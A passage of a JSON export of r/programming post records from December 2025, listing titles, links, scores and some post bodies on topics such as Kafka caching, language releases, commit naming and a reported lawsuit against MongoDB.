  "subreddit": "programming",
  "score": 556,
  "upvoteRatio": 0.92,
  "numComments": 122,
  "createdAt": "2025-12-29T18:19:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theverge.com/24067997/robots-txt-ai-text-file-web-crawlers-spiders",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pynflx",
  "url": "https://sakshamar.in/posts/what-happens-when-you-convert-a-nan-to-uint-golang/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pynflx/what_happens_when_you_convert_a_nan_to_uint_in/",
  "title": "What Happens when you convert a NAN to uint in Golang",
  "body": null,
  "author": "Sakshamarya",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 19,
  "createdAt": "2025-12-29T14:19:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sakshamar.in/posts/what-happens-when-you-convert-a-nan-to-uint-golang/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pya81h",
  "url": "https://open.substack.com/pub/weeklyrust/p/rusts-first-linux-cve?utm_campaign=post-expanded-share&utm_medium=web",
  "permalink": "https://www.reddit.com/r/programming/comments/1pya81h/rusts_first_linux_cve/",
  "title": "🦀 Rust’s First Linux CVE",
  "body": null,
  "author": "web3writer",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 7,
  "createdAt": "2025-12-29T02:37:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/weeklyrust/p/rusts-first-linux-cve?utm_campaign=post-expanded-share&utm_medium=web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1py2c0w",
  "url": "https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply",
  "permalink": "https://www.reddit.com/r/programming/comments/1py2c0w/mongobleed_vulnerability_explained_simply/",
  "title": "MongoBleed vulnerability explained simply",
  "body": null,
  "author": "2minutestreaming",
  "subreddit": "programming",
  "score": 655,
  "upvoteRatio": 0.97,
  "numComments": 160,
  "createdAt": "2025-12-28T20:59:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pxsdhp",
  "url": "https://ossa-ma.github.io/blog/when-not-to-use-pydantic",
  "permalink": "https://www.reddit.com/r/programming/comments/1pxsdhp/when_not_to_use_pydantic/",
  "title": "When NOT to use Pydantic",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 50,
  "upvoteRatio": 0.68,
  "numComments": 59,
  "createdAt": "2025-12-28T14:17:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ossa-ma.github.io/blog/when-not-to-use-pydantic",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pxmf5l",
  "url": "https://shbhmrzd.github.io/2025/11/21/what-helps-kafka-scale.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pxmf5l/kafka_uses_os_page_buffer_cache_for_optimisations/",
  "title": "Kafka uses OS page buffer cache for optimisations instead of process caching",
  "body": "I recently went back to reading the original Kafka white paper from 2010.\n\nMost of us know the standard architectural choices that make Kafka fast by virtue of these being part of [Kafka](https://www.linkedin.com/search/results/all/?keywords=%23kafka&origin=HASH_TAG_FROM_FEED) APIs and guarantees  \n\\- **Batching**: Grouping messages during publish and consume to reduce TCP/IP roundtrips.  \n\\- **Pull Model**: Allowing consumers to retrieve messages at a rate they can sustain  \n\\- **Single consumer per partition per consumer group**: All messages from one partition are consumed only by a single consumer per consumer group. If Kafka intended to support multiple consumers to simultaneously read from a single partition, they would have to coordinate who consumes what message, requiring locking and state maintenance overhead.  \n\\- **Sequential I/O**: No random seeks, just appending to the log.\n\nI wanted to further highlight two other optimisations mentioned in the Kafka white paper, which are not evident to daily users of Kafka, but are interesting hacks by the Kafka developers\n\n**Bypassing the JVM Heap using File System Page Cache**  \nKafka avoids caching messages in the application layer memory. Instead, it relies entirely on the underlying file system page cache.  \nThis avoids double buffering and reduces Garbage Collection (GC) overhead.  \nIf a broker restarts, the cache remains warm because it lives in the OS, not the process. Since both the producer and consumer access the segment files sequentially, with the consumer often lagging the producer by a  \nsmall amount, normal operating system caching heuristics are  \nvery effective (specifically write-through caching and read-  \nahead).\n\n**The \"Zero Copy\" Optimisation**  \nStandard data transfer is inefficient. To send a file to a socket, the OS usually copies data 4 times (Disk -> Page Cache -> App Buffer -> Kernel Buffer -> Socket).  \nKafka exploits the Linux sendfile API (Java’s FileChannel.transferTo) to transfer bytes directly from the file channel to the socket channel.  \nThis cuts out 2 copies and 1 system call per transmission.",
  "author": "Normal-Tangelo-7120",
  "subreddit": "programming",
  "score": 270,
  "upvoteRatio": 0.91,
  "numComments": 31,
  "createdAt": "2025-12-28T08:31:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shbhmrzd.github.io/2025/11/21/what-helps-kafka-scale.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pxboa3",
  "url": "https://thunderseethe.dev/posts/nameres-base/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pxboa3/resolving_names_once_and_for_all/",
  "title": "Resolving Names Once and for All",
  "body": null,
  "author": "thunderseethe",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.57,
  "numComments": 5,
  "createdAt": "2025-12-27T23:20:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thunderseethe.dev/posts/nameres-base/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pxa71t",
  "url": "https://www.linkedin.com/posts/gsurman_our-beloved-irreplaceable-daughter-annie-activity-7407842359826120704-kFaq/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pxa71t/mongodb_fired_an_employee_while_she_was_on_mental/",
  "title": "MongoDB fired an Employee while she was on Mental health leave, leading to her suicide",
  "body": "Another failure of corporate ethics has occurred, which, this time, led to tragic consequences. [Annie Surman,](https://www.instagram.com/anniesurman) a [Columbia University](https://www.college.columbia.edu/node/8501) graduate and former NASA intern struggled with depression caused by workplace stress and was fired in the middle of her treatment\n\n**The Conflict**\n\nAnnie was a high-achieving specialist, but by 2024, severe mental health struggles left her unable to leave her bed. She took medical leave to undergo therapy. MongoDB initially agreed to extend her leave but abruptly reversed their decision during her treatment, demanding she return to work immediately\n\nAnnie’s family pleaded with the company not to fire her, explaining she was in a critical state. They did not ask for pay or a guaranteed position - only to keep her insurance and employee status active for a short period to complete her treatment. MongoDB ignored these pleas and fired her on August 8, 2024\n\n**The Tragedy**\n\nAnnie attempted suicide immediately after receiving the termination email. A month later, at the age of 28, she took her own life, citing the shame she felt from being fired\n\n**The Consequences**\n\nThe family has filed a [lawsuit](https://iapps.courts.state.ny.us/nyscef/DocumentList?docketId=ev0pwBnIcxSG/2ZqA/Jktg==&display=all&courtType=New%20York%20County%20Supreme%20Court&resultsPageNum=1) accusing the company of violating the Americans with Disabilities Act ([ADA](https://www.eeoc.gov/laws/guidance/depression-ptsd-other-mental-health-conditions-workplace-your-legal-rights)) and New York Human Rights laws. The lawsuit also alleges that MongoDB may have fired Annie specifically before a mass layoff to avoid paying her severance\n\nFurthermore, the company reportedly tried to hide the circumstances by telling colleagues that Annie had resigned voluntarily. Her family is fighting for official recognition of the wrongful termination and holding the company accountable for her death",
  "author": "dmitrevnik",
  "subreddit": "programming",
  "score": 337,
  "upvoteRatio": 0.94,
  "numComments": 58,
  "createdAt": "2025-12-27T22:15:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linkedin.com/posts/gsurman_our-beloved-irreplaceable-daughter-annie-activity-7407842359826120704-kFaq/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1px4uug",
  "url": "https://gaultier.github.io/blog/the_production_bug_that_made_me_care_about_undefined_behavior.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1px4uug/the_production_bug_that_made_me_care_about/",
  "title": "The production bug that made me care about undefined behavior",
  "body": null,
  "author": "broken_broken_",
  "subreddit": "programming",
  "score": 322,
  "upvoteRatio": 0.89,
  "numComments": 268,
  "createdAt": "2025-12-27T18:29:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gaultier.github.io/blog/the_production_bug_that_made_me_care_about_undefined_behavior.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pw35n3",
  "url": "https://www.youtube.com/watch?v=qjWkNZ0SXfo",
  "permalink": "https://www.reddit.com/r/programming/comments/1pw35n3/one_formula_that_demystifies_3d_graphics/",
  "title": "One Formula That Demystifies 3D Graphics",
  "body": null,
  "author": "dhlowrents",
  "subreddit": "programming",
  "score": 312,
  "upvoteRatio": 0.9,
  "numComments": 18,
  "createdAt": "2025-12-26T12:27:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=qjWkNZ0SXfo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pvjtcb",
  "url": "http://blog.daniel-beskin.com/2025-12-22-the-compiler-is-your-best-friend-stop-lying-to-it",
  "permalink": "https://www.reddit.com/r/programming/comments/1pvjtcb/the_compiler_is_your_best_friend_stop_lying_to_it/",
  "title": "The Compiler Is Your Best Friend, Stop Lying to It",
  "body": null,
  "author": "n_creep",
  "subreddit": "programming",
  "score": 560,
  "upvoteRatio": 0.94,
  "numComments": 194,
  "createdAt": "2025-12-25T18:43:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.daniel-beskin.com/2025-12-22-the-compiler-is-your-best-friend-stop-lying-to-it",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pvfxpn",
  "url": "https://loggingsucks.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pvfxpn/logging_sucks_and_heres_how_to_make_it_better/",
  "title": "Logging Sucks - And here's how to make it better.",
  "body": null,
  "author": "paxinfernum",
  "subreddit": "programming",
  "score": 392,
  "upvoteRatio": 0.92,
  "numComments": 69,
  "createdAt": "2025-12-25T15:42:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://loggingsucks.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pvbxtr",
  "url": "https://www.youtube.com/watch?v=qjWkNZ0SXfo",
  "permalink": "https://www.reddit.com/r/programming/comments/1pvbxtr/one_formula_that_demystifies_3d_graphics/",
  "title": "One Formula That Demystifies 3D Graphics",
  "body": null,
  "author": "Chii",
  "subreddit": "programming",
  "score": 431,
  "upvoteRatio": 0.93,
  "numComments": 62,
  "createdAt": "2025-12-25T11:59:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=qjWkNZ0SXfo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pvaq8y",
  "url": "https://www.ruby-lang.org/en/news/2025/12/25/ruby-4-0-0-released/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pvaq8y/ruby_400_released_ruby/",
  "title": "Ruby 4.0.0 Released | Ruby",
  "body": null,
  "author": "LieNaive4921",
  "subreddit": "programming",
  "score": 308,
  "upvoteRatio": 0.94,
  "numComments": 62,
  "createdAt": "2025-12-25T10:36:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ruby-lang.org/en/news/2025/12/25/ruby-4-0-0-released/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pv77i3",
  "url": "https://www.kegel.com/c10k.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pv77i3/we_solved_c10k_years_ago_yet_we_keep_reinventing/",
  "title": "We “solved” C10K years ago yet we keep reinventing it",
  "body": "This article explains problems that still show up today under different names.  \n  \nC10K wasn’t really about “handling 10,000 users” it was about understanding where systems actually break: blocking I/O, thread-per-connection models, kernel limits, and naive assumptions about hardware scaling.  \n\n\nWhat’s interesting is how often we keep rediscovering the same constraints:\n\n* event loops vs threads\n* backpressure and resource limits\n* async abstractions hiding, not eliminating, complexity\n* frameworks solving symptoms rather than fundamentals\n\nModern stacks (Node.js, async/await, Go, Rust, cloud load balancers) make these problems easier to use, but the tradeoffs haven’t disappeared they’re just better packaged.  \n  \nWith some distance, this reads less like history and more like a reminder that most backend innovation is iterative, not revolutionary.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 457,
  "upvoteRatio": 0.91,
  "numComments": 115,
  "createdAt": "2025-12-25T06:34:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.kegel.com/c10k.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pussnd",
  "url": "https://www.timeextension.com/news/2025/12/zelda-twilight-princess-has-been-decompiled",
  "permalink": "https://www.reddit.com/r/programming/comments/1pussnd/zelda_twilight_princess_has_been_decompiled/",
  "title": "Zelda: Twilight Princess Has Been Decompiled",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 480,
  "upvoteRatio": 0.95,
  "numComments": 27,
  "createdAt": "2025-12-24T17:36:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.timeextension.com/news/2025/12/zelda-twilight-princess-has-been-decompiled",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pui0hc",
  "url": "https://www.conventionalcommits.org/en/v1.0.0/#summary",
  "permalink": "https://www.reddit.com/r/programming/comments/1pui0hc/commit_naming_system/",
  "title": "Commit naming system.",
  "body": "While working on one of my projects, I realized that I didn't actually have a good system for naming my commits. I do use the types `refactor`, `feat`, `chore`, ..., but I wanted more out of my commit names. This system wasn't very clear for me as to what e.g. removing a useless empty line was. Also, I wanted a clearer distinction between things the user sees and doesn't.\n\nNow neither have I checked how much of this already exists, nor have I used this system yet. Also this is not a demo or showoff imo, it's supposed to be a discussion about git commit names.\n\n\nThis is how I envisioned it:\n\n\n---\n\n\n\nBased on this [convention](https://www.conventionalcommits.org/en/v1.0.0/#summary).\n\n```\n<type>(optional scope)[\"!\" if breaking change]: Description\n\nOptional body\n\nOptional Footer\n\n```\n\nThe **types** are categorized in a hierarchy:\n\n- _category_ `User facing`: The user notices this. Examples are new features, crashes or UI changes.\n  - _category_ `source code`: Changes to source code.\n      - _type_ `fix`: A fix that the user can see. Use `fix!` for critical fixes like crashes.\n      - _type_ `feat`: A feature the user sees. \n      - _type_ `ui` (optional): A change that _only_ affects UI like the change of an icon.\n        This can be labeled as a `feat` or `fix` instead.\n  - _category_ `non-source code`: Changes to non-source code.\n    - _type_ `docs`: changes to outward-facing docs. This can also be documentation inside the source code,\n    like explaining text in the UI.\n---\n- _category_ `Internal`: The user doesn't see this. Examples are refactors, internal docs.\n  - _category_ `source code`: Changes to source code.\n    - _type_ `bug`: A fix to an issue the user can't see or barely notices.\n    - _type_ `improvement`: A feature that the user doesn't see. Examples are: \n    A new endpoint, better internal auth handling\n    - _type_ `refactor`: Internal changes that don't affect logic, such as variable name changes,\n    white spaces removed.\n  - _category_ `non-source code`: Changes to non-source code.\n    - _type_ `chore`: changes to build process, config, ...\n    - _type_ `kbase` (for knowledge base): changes to internal docs\nImportantly, types like `feat` and `improvement` are equivalent, just in a different category, so you can instead call them\n- `uf/feat` for user facing features and `in/feat` for internal features instead of `improvement`.\n- The same goes for bug and fix, you can do `in/fix` instead of bug.\n\nThis is called folder-like naming.\n\nIt is recommended to settle on either full names or the folder like naming, and not to mix them.\n\n\n---\n\n\nI drafted this together in not too long, so not too much thought went into the execution.\n\nIt mainly deals with the types, the rest is described in the convention I think.\n\nI'd like to know how you name your commits and if you think a system like this makes sense. Also if you want to expand it, go right ahead.",
  "author": "Tear4Pixelation",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 38,
  "createdAt": "2025-12-24T07:58:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.conventionalcommits.org/en/v1.0.0/#summary",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1puavnz",
  "url": "https://cardogio.substack.com/p/database-optimization-corgi",
  "permalink": "https://www.reddit.com/r/programming/comments/1puavnz/how_we_reduced_a_15gb_database_by_99/",
  "title": "How We Reduced a 1.5GB Database by 99%",
  "body": null,
  "author": "Moist_Test1013",
  "subreddit": "programming",
  "score": 551,
  "upvoteRatio": 0.82,
  "numComments": 151,
  "createdAt": "2025-12-24T01:26:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cardogio.substack.com/p/database-optimization-corgi",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ptxiqe",
  "url": "https://codepointer.substack.com/p/vllm-pagedattention-saving-millions",
  "permalink": "https://www.reddit.com/r/programming/comments/1ptxiqe/os_virtual_memory_concepts_from_1960s_applied_to/",
  "title": "OS virtual memory concepts from 1960s applied to AI: PagedAttention code walkthrough",
  "body": "I came across vLLM and PagedAttention while trying to run LLM locally. It's a two-year-old paper, but it was very interesting to see how OS virtual memory concept from 1960s is applied to optimize GPU memory usage for AI.  \n  \nThe post walks through vLLM's elegant implementation of block tables, doubly-linked LRU queues, and reference counting in optimizing GPU memory usage.",
  "author": "noninertialframe96",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 0,
  "createdAt": "2025-12-23T16:00:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codepointer.substack.com/p/vllm-pagedattention-saving-millions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pt5gc0",
  "url": "https://www.phoronix.com/news/Lua-5.5-Released",
  "permalink": "https://www.reddit.com/r/programming/comments/1pt5gc0/lua_55_released_with_declarations_for_global/",
  "title": "Lua 5.5 released with declarations for global variables, garbage collection improvements",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.96,
  "numComments": 28,
  "createdAt": "2025-12-22T17:29:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/Lua-5.5-Released",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pt1geh",
  "url": "https://www.linkedin.com/pulse/ways-do-continuous-incremental-delivery-part-2-core-mortensen-mwmxe?utm_source=share&utm_medium=member_android&utm_campaign=share_via",
  "permalink": "https://www.reddit.com/r/programming/comments/1pt1geh/ways_to_do_continuous_incremental_delivery_part_2/",
  "title": "Ways to do Continuous Incremental Delivery - Part 2: A core database change",
  "body": "I am doing some quite detailed run throughs of doing CI/CD \nLooking forward to discussions :-)",
  "author": "martindukz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 0,
  "createdAt": "2025-12-22T14:51:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linkedin.com/pulse/ways-do-continuous-incremental-delivery-part-2-core-mortensen-mwmxe?utm_source=share&utm_medium=member_android&utm_campaign=share_via",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1psp399",
  "url": "https://www.pcloadletter.dev/blog/clever-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/1psp399/write_code_that_you_can_understand_when_you_get/",
  "title": "Write code that you can understand when you get paged at 2am",
  "body": null,
  "author": "R2_SWE2",
  "subreddit": "programming",
  "score": 556,
  "upvoteRatio": 0.92,
  "numComments": 182,
  "createdAt": "2025-12-22T03:19:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcloadletter.dev/blog/clever-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1psl2t0",
  "url": "https://newsletter.eng-leadership.com/p/ai-coding-tools-are-not-the-problem",
  "permalink": "https://www.reddit.com/r/programming/comments/1psl2t0/ai_coding_tools_are_not_the_problem_lack_of/",
  "title": "AI Coding Tools Are Not the Problem, Lack of Accountability Is",
  "body": null,
  "author": "gregorojstersek",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 19,
  "createdAt": "2025-12-22T00:04:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.eng-leadership.com/p/ai-coding-tools-are-not-the-problem",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1psd3r3",
  "url": "https://medium.com/stackademic/the-real-difference-between-git-fetch-git-pull-and-git-pull-rebase-991514cb5bd6?sk=dd39ca5be91586de5ac83efe60075566",
  "permalink": "https://www.reddit.com/r/programming/comments/1psd3r3/a_git_confusion_i_see_a_lot_with_junior_devs/",
  "title": "A Git confusion I see a lot with junior devs: fetch vs pull",
  "body": "I’ve seen quite a few junior devs get stuck when `git pull` suddenly throws conflicts, even though they “just wanted latest code”.\n\nI wrote a short explanation aimed at juniors that breaks down:\n\n* what `git fetch` actually does\n* why `git pull` behaves differently when the branch isn’t clean\n* where `git pull --rebase` fits in\n\nNo theory dump. Just real examples and mental models that helped my teams.  \nSharing in case it helps someone avoid a confusing first Git conflict.",
  "author": "sshetty03",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 16,
  "createdAt": "2025-12-21T18:17:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/stackademic/the-real-difference-between-git-fetch-git-pull-and-git-pull-rebase-991514cb5bd6?sk=dd39ca5be91586de5ac83efe60075566",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pscemt",
  "url": "https://tidyfirst.substack.com/p/the-bet-on-juniors-just-got-better",
  "permalink": "https://www.reddit.com/r/programming/comments/1pscemt/the_bet_on_juniors_just_got_better/",
  "title": "The Bet On Juniors Just Got Better",
  "body": null,
  "author": "phillipcarter2",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 9,
  "createdAt": "2025-12-21T17:48:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tidyfirst.substack.com/p/the-bet-on-juniors-just-got-better",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps9s8m",
  "url": "https://healeycodes.com/a-fair-cancelable-semaphore-in-go",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps9s8m/a_fair_cancelable_semaphore_in_go/",
  "title": "A Fair, Cancelable Semaphore in Go",
  "body": null,
  "author": "candurz",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2025-12-21T15:59:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://healeycodes.com/a-fair-cancelable-semaphore-in-go",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps8179",
  "url": "https://justusefuckingphp.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps8179/react_and_a_few_other_have_one_too_now_we_have_1/",
  "title": "React and a few other have one too, now we have 1 for php",
  "body": "We have https://justfuckingusehtml.com\nAnd then for react, is and vue etc.\n\n\nI saw that there was not one for php het, so I decided to make one for that as well.\n\nFeel free to check it out and enjoy.\n\nHave a good upcoming holidays!!\n\nNote, this isn't to promote, showcase or for a startup. I just wanted to share this même site for fun, its a single page anyway",
  "author": "Minute_Attempt3063",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 22,
  "createdAt": "2025-12-21T14:41:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://justusefuckingphp.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps76zi",
  "url": "https://github.com/hosseinmoein/DataFrame",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps76zi/unique_features_of_c_dataframe_1/",
  "title": "Unique features of C++ DataFrame (1)",
  "body": null,
  "author": "hmoein",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 6,
  "createdAt": "2025-12-21T14:01:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/hosseinmoein/DataFrame",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps6of3",
  "url": "https://www.youtube.com/watch?v=1iPWt1gvT_w",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps6of3/rust_and_the_price_of_ignoring_theory_one_of_the/",
  "title": "Rust and the price of ignoring theory - one of the most interesting programming videos I've watched in a while",
  "body": null,
  "author": "ThisIsChangableRight",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.54,
  "numComments": 174,
  "createdAt": "2025-12-21T13:35:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=1iPWt1gvT_w",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps3he5",
  "url": "https://github.com/KaiNorberg/PatchworkOS",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps3he5/patchworkos_is_a_fromscratch_os_that_follows/",
  "title": "PatchworkOS Is a From-Scratch OS That Follows 'Everything Is a File' More Strictly than UNIX: An Overview of Sockets, Spawning Processes, and Notes (Signals)",
